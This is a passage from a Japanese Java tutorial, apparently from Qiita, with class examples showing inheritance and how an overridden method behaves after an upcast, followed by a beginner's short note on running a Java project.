        System.out.println(name + "さん、こんにちは。");
    }
}
GoodMorning.java
package Test1;
public class GoodMorning extends Hello {
    // コンストラクタ
    public GoodMorning(String name) {
        super(name);
    }

    // 挨拶の表示
    void showGoodMorning() {
        System.out.println(name + "さん、おはようございます。");
    }
}
GoodEvening.java
package Test1;
public class GoodEvening extends GoodMorning {
    // コンストラクタ
    public GoodEvening(String name) {
        super(name);
    }

    // 挨拶の表示
    void showGoodEvening() {
        System.out.println(name + "さん、こんばんは。");
    }
}

上記の文をコピーして、文字コードは S-JIS を指定し、ファイル名を Test1.java , Hello.java , GoodMorning.java , GoodEvening.java で保存し、実行するとこうなります。↓↓  
005.png

注意点

  • アップキャスト後 の実態は サブクラスの縮小 なため、スーパークラスに同じメソッドが存在する場合は サブクラスが優先 される。
Test1.java
package Test1;
public class Test1 {
    public static void main(String[] args) {
        // インスタンスの生成
        TestB b = new TestB();
        b.view();// Bが表示される

        // アップキャスト
        TestA a = (TestA) b;
        a.view();// Bが表示される
    }
}
class TestA {
    public void view() {
        // スーパークラスの表示
        System.out.println("A");
    }
}
class TestB extends TestA{
    public void view() {
        // サブクラスの表示
        System.out.println("B");
    }
}

上記の文をコピーして、文字コードは S-JIS を指定し、ファイル名を Test1.java で保存し、実行するとこうなります。↓↓  
006.png

6.関連

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

java

参考にした記事
https://manga.crocro.com/?cat=java&pg=make_cui_app
javaの環境構築まで終わり。
アプリケーションまで作業したがやったばかりで全然わからない。

名前変更
実行ボタンで右クリック
Image from Gyazo

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む